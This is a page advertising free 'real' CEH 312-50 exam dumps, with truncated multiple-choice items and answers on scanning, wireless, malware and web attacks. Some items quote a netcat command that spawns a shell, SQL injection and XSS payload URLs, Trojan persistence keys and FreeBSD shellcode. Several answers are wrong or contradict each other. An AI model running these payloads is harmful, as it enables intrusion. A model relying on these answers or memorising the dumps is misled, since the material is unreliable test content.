"Passed on the first try! I loved that the questions are updated as new exams are released, in order to keep up the most recent content being covered in the test. The date at the top of each page shows how current the material was, which was nice to see. "
"At first glance I thought this site is just like the other 99% websites in this industry, but boy I was wrong...its funny that two weeks before the exam I knew nothing about 312-50, but with this amazing site I managed to study very quickly and pass the exam easily without spending tons of money and time on preparing for the exam."
"As a professional in my field for over 8 years I could tell that not only were these questions real, but that an expert had been involved in designing and reviewing the questions for the Ethical Hacking and Countermeasures (CEHv6) 312-50 exam. "
Are you looking for real exams dumps for the 312-50 Ethical Hacking and Countermeasures (CEHv6) exam? ITExamLabs.com is dedicated to provide real and updated exam questions and answers, FREE of cost.
The best way to prepare for 312-50 exam is not reading a text book, but taking 312-50 vce exam and understanding the correct answers. Practice questions help prepare students for not only the concepts, but also the manner in which questions and answer options are presented during the real exam.
ITExamLabs.com provides not only actual EC-Council 312-50 practice test, but also detailed answers, explanations and diagrams. Having authentic and current exam questions, will you pass your test on the first try!
Q1. Paul has just finished setting up his wireless network. He has enabled numerous security features such as changing the default SSID, enabling WPA encryption and enabling MAC filtering on hi wireless router. Paul notices when he uses his wireless connection, the speed is sometimes 54 Mbps and sometimes it is only 24mbps or less. Paul connects to his wireless…
Q1. Which FTP transfer mode is required for FTP bounce attack? A. Active Mode B. Passive Mode C. User Mode D. Anonymous Mode View AnswerAnswer: BExplanation: FTP bounce attack needs the server the support passive connections and the client program needs to use PORT command instead of the PASV command. Q2. What is the IV key size used in WPA2? A. 32 B. 24 C. 16 D. 48 E. 128 View AnswerAnswer:…
Q1. Sandra is conducting a penetration test for ABC.com. She knows that ABC.com is using wireless networking for some of the offices in the building right down the street. Through social engineering she discovers that they are using 802.11g. Sandra knows that 802.11g uses the same 2.4GHz frequency range as 802.11b. Using NetStumbler and her 802.11b wireless NIC, Sandra drives…
Q1. William has received a Tetris game from someone in his computer programming class through email. William does not really know the person who sent the game very well, but decides to install the game anyway because he really likes Tetris. After William installs the game, he plays it for a couple of hours. The next day, William plays the Tetris…
Q1. Exhibit: * Missing* Jason's Web server was attacked by a trojan virus. He runs protocol analyzer and notices that the trojan communicates to a remote server on the Internet. Shown below is the standard "hexdump" representation of the network packet, before being decoded. Jason wants to identify the trojan by looking at the destination port number and mapping to a…
Q1. What are the differences between SSL and S-HTTP? A. SSL operates at the network layer and S-HTTP operates at the application layer B. SSL operates at the application layer and S-HTTP operates at the network layer C. SSL operates at the transport layer and S-HTTP operates at the application layer D. SSL operates at the application layer and S-HTTP operates at the transport…
Q1. System Administrators sometimes post questions to newsgroups when they run into technical challenges. As an ethical hacker, you could use the information in newsgroup posting to glean insight into the makeup of a target network. How would you search for these posting using Google search? A. Search in Google using the key strings “the target company” and “newsgroups” B. Search for…
Q1. Johnny is a member of the hacking group orpheus1. He is currently working on breaking into the Department of Defense’s front end exchange server. He was able to get into the server, located in a DMZ, by using an unused service account that had a very weak password that he was able to guess. Johnny wants to crack the…
Q1. While doing fast scan using –F option, which file is used to list the range of ports to scan by nmap? A. services B. nmap-services C. protocols D. ports View AnswerAnswer: BExplanation: Nmap uses the nmap-services file to provide additional port detail for almost every scanning method. Every time a port is referenced, it's compared to an available description in this support file. If…
Q1. What is the correct command to run Netcat on a server using port 56 that spawns command shell when connected? A. nc -port 56 -s cmd.exe B. nc -p 56 -p -e shell.exe C. nc -r 56 -c cmd.exe D. nc -L 56 -t -e cmd.exe View AnswerAnswer: DQ2. Why attackers use proxy servers? A. To ensure the exploits used in the attacks always flip…
Q1. In this attack, a victim receives an e-mail claiming from PayPal stating that their account has been disabled and confirmation is required before activation. The attackers then scam to collect not one but two credit card numbers, ATM PIN number and other personal details. Ignorant users usually fall prey to this scam. Which of the following statement is incorrect related…
Q1. Charlie is an IT security consultant that owns his own business in Denver. Charlie has recently been hired by Fleishman Robotics, a mechanical engineering company also in Denver. After signing service level agreements and other contract papers, Charlie asks to look over the current company security policies. Based on these policies, Charlie compares the policies against what is actually…
Q1. The SNMP Read-Only Community String is like a password. The string is sent along with each SNMP Get-Request and allows (or denies) access to a device. Most network vendors ship their equipment with a default password of "public". This is the so-called "default public community string". How would you keep intruders from getting sensitive information regarding the network devices…
Q1. What is the most common vehicle for social engineering attacks? A. Email B. Direct in person C. Local Area Networks D. Peer to Peer Networks View AnswerAnswer: BExplanation: All social engineering techniques are based on flaws in human logic known as cognitive biases. Topic 10, Session Hijacking 322. Bob is going to perform an active session hijack against company. He has acquired the target that allows…
Q1. XSS attacks occur on Web pages that do not perform appropriate bounds checking on data entered by users. Characters like < > that mark the beginning/end of a tag should be converted into HTML entities. What is the correct code when converted to html entities? A. Option A B. Option B C. Option C D. Option D View AnswerAnswer: DQ2. Windows LAN Manager (LM) hashes…
Q1. Which one of the following is defined as the process of distributing incorrect Internet Protocol (IP) addresses/names with the intent of diverting traffic? A. Network aliasing B. Domain Name Server (DNS) poisoning C. Reverse Address Resolution Protocol (ARP) D. Port scanning View AnswerAnswer: BThis reference is close to the one listed DNS poisoning is the correct answer. This is how DNS DOS attack can occur.…
Q1. You are trying to package a RAT Trojan so that Anti-Virus software will not detect it. Which of the listed technique will NOT be effective in evading Anti-Virus scanner? A. Convert the Trojan.exe file extension to Trojan.txt disguising as text file B. Break the Trojan into multiple smaller files and zip the individual pieces C. Change the content of the Trojan using…
Q1. While performing ping scans into a target network you get a frantic call from the organization’s security team. They report that they are under a denial of service attack. When you stop your scan, the smurf attack event stops showing up on the organization’s IDS monitor. How can you modify your scan to prevent triggering this event in the…
Q1. Web servers often contain directories that do not need to be indexed. You create a text file with search engine indexing restrictions and place it on the root directory of the Web Server. User-agent: * Disallow: /images/ Disallow: /banners/ Disallow: /Forms/ Disallow: /Dictionary/ Disallow: /_borders/ Disallow: /_fpclass/ Disallow: /_overlay/ Disallow: /_private/ Disallow: /_themes/ What is the name of this file? A.…
Q1. Attackers send an ACK probe packet with random sequence number, no response means port is filtered (Stateful firewall is present) and RST response means the port is not filtered. What type of Port Scanning is this? A. RST flag scanning B. FIN flag scanning C. SYN flag scanning D. ACK flag scanning View AnswerAnswer: DQ2. Because UDP is a connectionless protocol: (Select 2) A. UDP…
Q1. This is an example of whois record. Sometimes a company shares a little too much information on their organization through public domain records. Based on the above whois record, what can an attacker do? (Select 2 answers) A. Search engines like Google, Bing will expose information listed on the WHOIS record B. An attacker can attempt phishing and social engineering on targeted…
Q1. What is SYSKEY # of bits used for encryption? A. 40 B. 64 C. 128 D. 256 View AnswerAnswer: CExplanation: System Key hotfix is an optional feature which allows stronger encryption of SAM. Strong encryption protects private account information by encrypting the password data using a 128-bit cryptographically random key, known as a password encryption key. Q2. John is using a special tool on his…
Q1. Identify SQL injection attack from the HTTP requests shown below: A. http://www.victim.com/example?accountnumber=67891&creditamount=999999999 B. http://www.xsecurity.com/cgiin/bad.cgi?foo=..%fc%80%80%80%80%af../bin/ls%20-al C. http://www.myserver.com/search.asp?lname=smith%27%3bupdate%20usertable%20set%20pass wd%3d%27hAx0r%27%3b--%00 D. http://www.myserver.com/script.php?mydata=%3cscript%20src=%22http%3a%2f%2fwww.yourser ver.c0m%2fbadscript.js%22% 3e%3c%2fscript%3e View AnswerAnswer: CExplantion: The correct answer contains the code to alter the usertable in order to change the password for user smith to hAx0r Q2. You ping a target IP to check if the host is up. You do not get a response. You…
Q1. You have performed the traceroute below and notice that hops 19 and 20 both show the same IP address. What can be inferred from this output? 1 172.16.1.254 (172.16.1.254) 0.724 ms 3.285 ms 0.613 ms 2 ip68-98-176-1.nv.nv.cox.net (68.98.176.1) 12.169 ms 14.958 ms 13.416 ms 3 ip68-98-176-1.nv.nv.cox.net (68.98.176.1) 13.948 ms ip68-100-0-1.nv.nv.cox.net (68.100.0.1) 16.743 ms 16.207 ms 4 ip68-100-0-137.nv.nv.cox.net (68.100.0.137) 17.324 ms 12.933 ms…
Q1. What is the problem with this ASP script (login.asp)?
Q1. Which of the following ICMP message types are used for destinations unreachables? A. 0 B. 3 C. 11 D. 13 E. 17 View AnswerAnswer: BExplanation: Type 3 messages are used for unreachable messages. 0 is Echo Reply, 8 is Echo request, 11 is time exceeded, 13 is timestamp and 17 is subnet mask request. Learning these would be advisable for the test. Q2. You have just…
Q1. What is the most common vehicle for social engineering attacks? A. Phone B. Email C. In person D. P2P Networks View AnswerAnswer: AExplanation: Pretexting is the act of creating and using an invented scenario (the pretext) to persuade a target to release information or perform an action and is usually done over the telephone. Q2. _____ is the process of converting something from one representation…
Q1. Statistics from cert.org and other leading security organizations has clearly showed a steady rise in the number of hacking incidents perpetrated against companies. What do you think is the main reason behind the significant increase in hacking attempts over the past years? A. It is getting more challenging and harder to hack for non technical people. B. There is a phenomenal increase…
Q1. Which of the following is the primary objective of a rootkit? A. It opens a port to provide an unauthorized service B. It creates a buffer overflow C. It replaces legitimate programs D. It provides an undocumented opening in a program View AnswerAnswer: CExplanation: Actually the objective of the rootkit is more to hide the fact that a system has been compromised and the…
Q1. Kevin sends an email invite to Chris to visit a forum for security professionals. Chris clicks on the link in the email message and is taken to a web based bulletin board. Unknown to Chris, certain functions are executed on his local system under his privileges, which allow Kevin access to information used on the BBS. However, no executables…
Q1. While doing fast scan using –F option, which file is used to list the range of ports to scan by nmap? A. services B. nmap-services C. protocols D. ports View AnswerAnswer: BExplanation: Nmap uses the nmap-services file to provide additional port detail for almost every scanning method. Every time a port is referenced, it's compared to an available description in this support file. If…
Q1. You are the security administrator for a large online auction company based out of Los Angeles. After getting your ENSA CERTIFICATION last year, you have steadily been fortifying your network’s security including training OS hardening and network security. One of the last things you just changed for security reasons was to modify all the built-in administrator accounts on the…
Q1. Steven works as a security consultant and frequently performs penetration tests for Fortune 500 companies. Steven runs external and internal tests and then creates reports to show the companies where their weak areas are. Steven always signs a non-disclosure agreement before performing his tests. What would Steven be considered? A. Whitehat Hacker B. BlackHat Hacker C. Grayhat Hacker D. Bluehat Hacker View AnswerAnswer: AExplanation:…
Q1. ARP poisoning is achieved in _____ steps A. 1 B. 2 C. 3 D. 4 View AnswerAnswer: BExplanation: The hacker begins by sending a malicious ARP "reply" (for which there was no previous request) to your router, associating his computer's MAC address with your IP Address. Now your router thinks the hacker's computer is your computer. Next, the hacker sends a malicious ARP reply…
Q1. A simple compiler technique used by programmers is to add a terminator 'canary word' containing four letters NULL (0x00), CR (0x0d), LF (0x0a) and EOF (0xff) so that most string operations are terminated. If the canary word has been altered when the function returns, and the program responds by emitting an intruder alert into syslog, and then halts what…
Q1. While performing a ping sweep of a subnet you receive an ICMP reply of Code 3/Type 13 for all the pings sent out. What is the most likely cause behind this response? A. The firewall is dropping the packets. B. An in-line IDS is dropping the packets. C. A router is blocking ICMP. D. The host does not respond to ICMP packets. View AnswerAnswer: C Explanation:…
Q1. Which of the following Registry location does a Trojan add entries to make it persistent on Windows 7? (Select 2 answers) A. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run B. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\System32\CurrentVersion\ Run C. HKEY_CURRENT_USER\Software\Microsoft\Windows\System32\CurrentVersion\Run D. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run View AnswerAnswer: ADQ2. Exhibit: Given the following extract from the snort log on a honeypot, what do you infer from the attack? A. A new port was opened B. A new user id was created C. The exploit…
Q1. LM authentication is not as strong as Windows NT authentication so you may want to disable its use, because an attacker eavesdropping on network traffic will attack the weaker protocol. A successful attack can compromise the user's password. How do you disable LM authentication in Windows XP? A. Stop the LM service in Windows XP B. Disable LSASS service in Windows…
Q1. What attack is being depicted here? A. Cookie Stealing B. Session Hijacking C. Cross Site scripting D. Parameter Manipulation View AnswerAnswer: DExplanation: Manipulating the data sent between the browser and the web application to an attacker's advantage has long been a simple but effective way to make applications do things in a way the user often shouldn't be able to. In a badly designed…
Q1. ABC.com is legally liable for the content of email that is sent from its systems, regardless of whether the message was sent for private or business-related purpose. This could lead to prosecution for the sender and for the company’s directors if, for example, outgoing email was found to contain material that was pornographic, racist or likely to incite someone…
Q1. What does an ICMP (Code 13) message normally indicates? A. It indicates that the destination host is unreachable B. It indicates to the host that the datagram which triggered the source quench message will need to be re-sent C. It indicates that the packet has been administratively dropped in transit D. It is a request to the host to cut back the rate…
Q1. Peter extracts the SIDs list from Windows 2000 Server machine using the hacking tool “SIDExtractor”. Here is the output of the SIDs: s-1-5-21-1125394485-807628933-54978560-100Johns s-1-5-21-1125394485-807628933-54978560-652Rebecca s-1-5-21-1125394485-807628933-54978560-412Sheela s-1-5-21-1125394485-807628933-54978560-999Shawn s-1-5-21-1125394485-807628933-54978560-777Somia s-1-5-21-1125394485-807628933-54978560-500chang s-1-5-21-1125394485-807628933-54978560-555Micah From the above list identify the user account with System Administrator privileges. A. John B. Rebecca C. Sheela D. Shawn E. Somia F. Chang G. Micah View AnswerAnswer: FExplanation: The SID of the built-in administrator will always follow this example:…
Q1. If a competitor wants to cause damage to your organization, steal critical secrets, or put you out of business, they just have to find a job opening, prepare someone to pass the interview, have that person hired, and they will be in the organization. How would you prevent such type of attacks? A. It is impossible to block these attacks B. Hire…
Q1. Richard is a network Administrator working at a student loan company in lowa. This company processes over 20,000 students loan a year from colleges all over the state. Most communication between the company, schools and lenders is carried out through email. Because of privacy laws that are in the process of being implemented, Richard wants to get ahead of…
Q1. A particular database threat utilizes a SQL injection technique to penetrate a target system. How would an attacker use this technique to compromise a database? A. An attacker uses poorly designed input validation routines to create or alter SQL commands to gain access to unintended data or execute commands of the database B. An attacker submits user input that executes an…
Q1. What type of Virus is shown here? A. Macro Virus B. Cavity Virus C. Boot Sector Virus D. Metamorphic Virus E. Sparse Infector Virus View AnswerAnswer: BQ2. According to the CEH methodology, what is the next step to be performed after footprinting? A. Enumeration B. Scanning C. System Hacking D. Social Engineering E. Expanding Influence View AnswerAnswer: B Explanation: Once footprinting has been completed, scanning should be attempted next. Scanning should take place…
Q1. Your are trying the scan a machine located at ABC company’s LAN named mail.abc.com. Actually that machine located behind the firewall. Which port is used by nmap to send the TCP synchronize frame to on mail.abc.com? A. 443 B. 80 C. 8080 D. 23 View AnswerAnswer: AQ2. Stephanie works as a records clerk in a large office building in downtown Chicago. On Monday, she…
Q1. Here is the ASCII Sheet. You want to guess the DBO username juggyboy (8 characters) using Blind SQL Injection technique. What is the correct syntax? A. Option A B. Option B C. Option C D. Option D View AnswerAnswer: AQ2. Bank of Timbuktu was a medium-sized, regional financial institution in Timbuktu. The bank has deployed a new Internet-accessible Web application recently, using which customers could access…
Q1. Justine is the systems administrator for her company, an international shipping company with offices all over the world. Recent US regulations have forced the company to implement stronger and more secure means of communication. Justine and other administrators have been put in charge of securing the company's digital communication lines. After implementing email encryption, Justine now needs to implement…
Q1. Which of the following activities would not be considered passive footprinting? A. Search on financial site such as Yahoo Financial B. Perform multiple queries through a search engine C. Scan the range of IP address found in their DNS database D. Go through the rubbish to find out any information that might have been discarded View AnswerAnswer: CExplanation: Passive footprinting is a method in…
Q1. You have initiated an active operating system fingerprinting attempt with nmap against a target system: [root@ceh NG]# /usr/local/bin/nmap -sT -O 10.0.0.1 Starting nmap 3.28 ( www.insecure.org/nmap/) at 2003-06-18 19:14 IDT Interesting ports on 10.0.0.1: (The 1628 ports scanned but not shown below are in state: closed) Port State Service 21/tcp filtered ftp 22/tcp filtered ssh 25/tcp open smtp 80/tcp open http…
Q1. In an attempt to secure his 802.11b wireless network, Bob decides to use strategic antenna positioning. He places the antenna for the access point near the center of the building. For those access points near the outer edge of the building he uses semi-directional antennas that face towards the buildings center. There is a large parking lot and outlying…
Q1. A Company security System Administrator is reviewing the network system log files. He notes the following: -Network log files are at 5 MB at 12:00 noon. -At 14:00 hours, the log files at 3 MB. What should he assume has happened and what should he do about the situation? A. He should contact the attacker’s ISP as soon as possible and have the…
Q1. DRAG DROP Drag the application to match with its correct description. Exhibit: View AnswerAnswer: Q2. Which of the following act in the united states specifically criminalizes the transmission of unsolicited commercial e-mail(SPAM) without an existing business relationship. A. 2004 CANSPAM Act B. 2003 SPAM Preventing Act C. 2005 US-SPAM 1030 Act D. 1990 Computer Misuse Act View AnswerAnswer: AExplanation: The CAN-SPAM Act of 2003 (Controlling the Assault…
Q1. #define MAKE_STR_FROM_RET(x) ((x)&0xff), (((x)&0xff00)8), (((x)&0xff0000)16), (((x)&0xff000000)24) char infin_loop[]= /* for testing purposes */ "\xEB\xFE"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43" "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0" "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0" "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80" "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9" "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75" "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd" "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46" "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56" "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53" "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\x01\xff\xff\x30" "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e" "\x67\x6c\x69\x6e";static int magic[MAX_MAGIC],magic_d[MAX_MAGIC]; static char *magic_str=NULL; int before_len=0; char *target=NULL, *username="user", *password=NULL; struct targets getit; The following exploit code is extracted from what kind of attack? A. Remote password cracking attack B. SQL Injection C. Distributed Denial of Service D. Cross Site Scripting E. Buffer Overflow View AnswerAnswer: E Explanation: This…
Q1. Josh is the network administrator for Consultants Galore, an IT consulting firm based in Kansas City. Josh is responsible for the company's entire network which consists of one Windows Server 2003 Active Directory domain. Almost all employees have Remote Desktop access to the servers so they can perform their work duties. Josh has created a security group in Active…
Q1. DRAG DROP A Successfully Attack by a malicious hacker can divide into five phases, Match the order: View AnswerAnswer: Q2. A denial of Service (DoS) attack works on the following principle: A. MS-DOS and PC-DOS operating system utilize a weaknesses that can be compromised and permit them to launch an attack easily. B. All CLIENT systems have TCP/IP stack implementation weakness that can…
Q1. What is the proper response for a X-MAS scan if the port is open? A. SYN B. ACK C. FIN D. PSH E. RST F. No response View AnswerAnswer: F Explanation: Closed ports respond to a X-MAS scan by ignoring the packet. Q2. David is a security administrator working in Boston. David has been asked by the office's manager to block all POP3 traffic at the firewall because…
Q1. Neil is a network administrator working in Istanbul. Neil wants to setup a protocol analyzer on his network that will receive a copy of every packet that passes through the main office switch. What type of port will Neil need to setup in order to accomplish this? A. Neil will have to configure a Bridged port that will copy all…
Q1. You are performing a port scan with nmap. You are in hurry and conducting the scans at the fastest possible speed. However, you don't want to sacrifice reliability for speed. If stealth is not an issue, what type of scan should you run to get very reliable results? A. XMAS scan B. Stealth scan C. Connect scan D. Fragmented packet scan View AnswerAnswer: CExplanation:…
Q1. What is the BEST alternative if you discover that a rootkit has been installed on one of your computers? A. Copy the system files from a known good system B. Perform a trap and trace C. Delete the files and try to determine the source D. Reload from a previous backup E. Reload from known good media View AnswerAnswer: EExplanation: If a rootkit is discovered,…
Q1. Your company trainee Sandra asks you which are the four existing Regional Internet Registry (RIR's)? A. APNIC, PICNIC, ARIN, LACNIC B. RIPE NCC, LACNIC, ARIN, APNIC C. RIPE NCC, NANIC, ARIN, APNIC D. RIPE NCC, ARIN, APNIC, LATNIC View AnswerAnswer: BExplanation: All other answers include non existing organizations (PICNIC, NANIC, LATNIC). See http://www.arin.net/library/internet_info/ripe.html Q2. Which of the following tools can be used to perform a…